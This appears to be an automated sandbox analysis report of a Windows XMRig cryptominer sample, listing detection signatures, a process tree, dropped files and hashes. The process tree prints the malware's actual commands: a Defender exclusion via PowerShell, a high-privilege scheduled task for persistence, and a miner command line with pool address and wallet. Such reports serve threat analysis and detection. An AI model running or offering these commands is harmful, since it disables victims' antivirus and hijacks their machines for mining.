Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27/11/2022, 12:44

General

  • Target
    file.exe
  • Size 814KB
  • Sample221127-pygrlacf8s
  • SHA256 d151ac7349eeddb2e769ffd33665c627fb1ec57004ac42927562b081d1c5de5b
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 6 IoCs
  • Executes dropped EXE 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Uses the VBS compiler for execution 1 TTPs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4512
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3204
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp8BA.tmp.bat""
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4708
      • C:\Windows\system32\timeout.exe
        timeout 3
        3⤵
        • Delays execution with timeout.exe
        PID:3628
      • C:\ProgramData\dlllib\YHKO.exe
        "C:\ProgramData\dlllib\YHKO.exe"
        3⤵
        • Executes dropped EXE
        • Checks computer location settings
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3704
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5004
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "YHKO" /tr "C:\ProgramData\dlllib\YHKO.exe"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:480
          • C:\Windows\system32\schtasks.exe
            schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "YHKO" /tr "C:\ProgramData\dlllib\YHKO.exe"
            5⤵
            • Creates scheduled task(s)
            PID:900
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          PID:2968

Network

        MITRE ATT&CK Enterprise v6

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        Downloads

        YHKO.exe

        • Path C:\ProgramData\dlllib\YHKO.exe
        • Size 814KB
        • SHA256 d151ac7349eeddb2e769ffd33665c627fb1ec57004ac42927562b081d1c5de5b
        • MD5 SHA1 SHA512 SSDEEP

        YHKO.exe

        • Path C:\ProgramData\dlllib\YHKO.exe
        • Size 814KB
        • SHA256 d151ac7349eeddb2e769ffd33665c627fb1ec57004ac42927562b081d1c5de5b
        • MD5 SHA1 SHA512 SSDEEP

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 2KB
        • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
        • MD5 SHA1 SHA512

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 944B
        • SHA256 f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb
        • MD5 SHA1 SHA512

        tmp8BA.tmp.bat

        • Path C:\Users\Admin\AppData\Local\Temp\tmp8BA.tmp.bat
        • Size 138B
        • SHA256 3df1e829bab6478f608bade07f4b0b6269dab55e171d1a0626196460fd952943
        • MD5 SHA1 SHA512

        memory/2968-192-0x000001D289250000-0x000001D289270000-memory.dmp

        memory/2968-196-0x000001D28AB20000-0x000001D28AB40000-memory.dmp

        memory/2968-188-0x0000000140000000-0x00000001407C9000-memory.dmp

        memory/2968-186-0x0000000140000000-0x00000001407C9000-memory.dmp

        memory/2968-197-0x000001D28AB40000-0x000001D28AB60000-memory.dmp

        memory/2968-184-0x0000000140000000-0x00000001407C9000-memory.dmp

        memory/2968-191-0x0000000140000000-0x00000001407C9000-memory.dmp

        memory/2968-193-0x0000000140000000-0x00000001407C9000-memory.dmp

        memory/2968-190-0x000001D289200000-0x000001D289220000-memory.dmp

        memory/2968-194-0x000001D28AB20000-0x000001D28AB40000-memory.dmp

        memory/2968-195-0x000001D28AB40000-0x000001D28AB60000-memory.dmp

        memory/3204-150-0x000001A47EEA0000-0x000001A47EEC2000-memory.dmp

        memory/3204-153-0x00007FFAB6DA0000-0x00007FFAB7861000-memory.dmp

        memory/3204-154-0x00007FFAB6DA0000-0x00007FFAB7861000-memory.dmp

        memory/3704-182-0x00007FFAD4AC0000-0x00007FFAD4B2B000-memory.dmp

        memory/3704-169-0x00000000009A0000-0x0000000000AD4000-memory.dmp

        memory/3704-160-0x00007FFAD5E10000-0x00007FFAD5EAE000-memory.dmp

        memory/3704-161-0x00007FFAD17F0000-0x00007FFAD1802000-memory.dmp

        memory/3704-162-0x00007FFAB79F0000-0x00007FFAB7AAD000-memory.dmp

        memory/3704-163-0x00007FFAD4B30000-0x00007FFAD4CD1000-memory.dmp

        memory/3704-164-0x00007FFAB7AB0000-0x00007FFAB8571000-memory.dmp

        memory/3704-165-0x00007FFAD4A20000-0x00007FFAD4A4B000-memory.dmp

        memory/3704-166-0x00000000009A0000-0x0000000000AD4000-memory.dmp

        memory/3704-167-0x00000000009A0000-0x0000000000AD4000-memory.dmp

        memory/3704-168-0x00007FFAB62A0000-0x00007FFAB63EE000-memory.dmp

        memory/3704-179-0x00007FFAD4010000-0x00007FFAD4037000-memory.dmp

        memory/3704-170-0x0000000000900000-0x0000000000943000-memory.dmp

        memory/3704-171-0x00007FFAB7AB0000-0x00007FFAB8571000-memory.dmp

        memory/3704-189-0x00007FFAB7AB0000-0x00007FFAB8571000-memory.dmp

        memory/3704-187-0x00000000009A0000-0x0000000000AD4000-memory.dmp

        memory/3704-183-0x00007FFAD2CA0000-0x00007FFAD2CDB000-memory.dmp

        memory/3704-181-0x00007FFAB3B00000-0x00007FFAB3C02000-memory.dmp

        memory/3704-159-0x00007FFAB87D0000-0x00007FFAB887A000-memory.dmp

        memory/3704-180-0x00007FFAC7C50000-0x00007FFAC7C85000-memory.dmp

        memory/4512-147-0x00000000030C0000-0x0000000003103000-memory.dmp

        memory/4512-143-0x00007FFAB89E0000-0x00007FFAB8B2E000-memory.dmp

        memory/4512-134-0x00007FFAC7BE0000-0x00007FFAC7C8A000-memory.dmp

        memory/4512-132-0x0000000000730000-0x0000000000864000-memory.dmp

        memory/4512-148-0x0000000000730000-0x0000000000864000-memory.dmp

        memory/4512-135-0x00007FFAD5E10000-0x00007FFAD5EAE000-memory.dmp

        memory/4512-144-0x00007FFAB6DA0000-0x00007FFAB7861000-memory.dmp

        memory/4512-137-0x00007FFAC7A90000-0x00007FFAC7B4D000-memory.dmp

        memory/4512-149-0x00007FFAB6DA0000-0x00007FFAB7861000-memory.dmp

        memory/4512-136-0x00007FFAD17F0000-0x00007FFAD1802000-memory.dmp

        memory/4512-142-0x0000000000730000-0x0000000000864000-memory.dmp

        memory/4512-141-0x00007FFAD4A20000-0x00007FFAD4A4B000-memory.dmp

        memory/4512-139-0x00007FFAB6DA0000-0x00007FFAB7861000-memory.dmp

        memory/4512-140-0x00000000030C0000-0x0000000003103000-memory.dmp

        memory/4512-138-0x00007FFAD4B30000-0x00007FFAD4CD1000-memory.dmp

        memory/5004-178-0x00007FFAB7AB0000-0x00007FFAB8571000-memory.dmp

        memory/5004-176-0x00007FFAB7AB0000-0x00007FFAB8571000-memory.dmp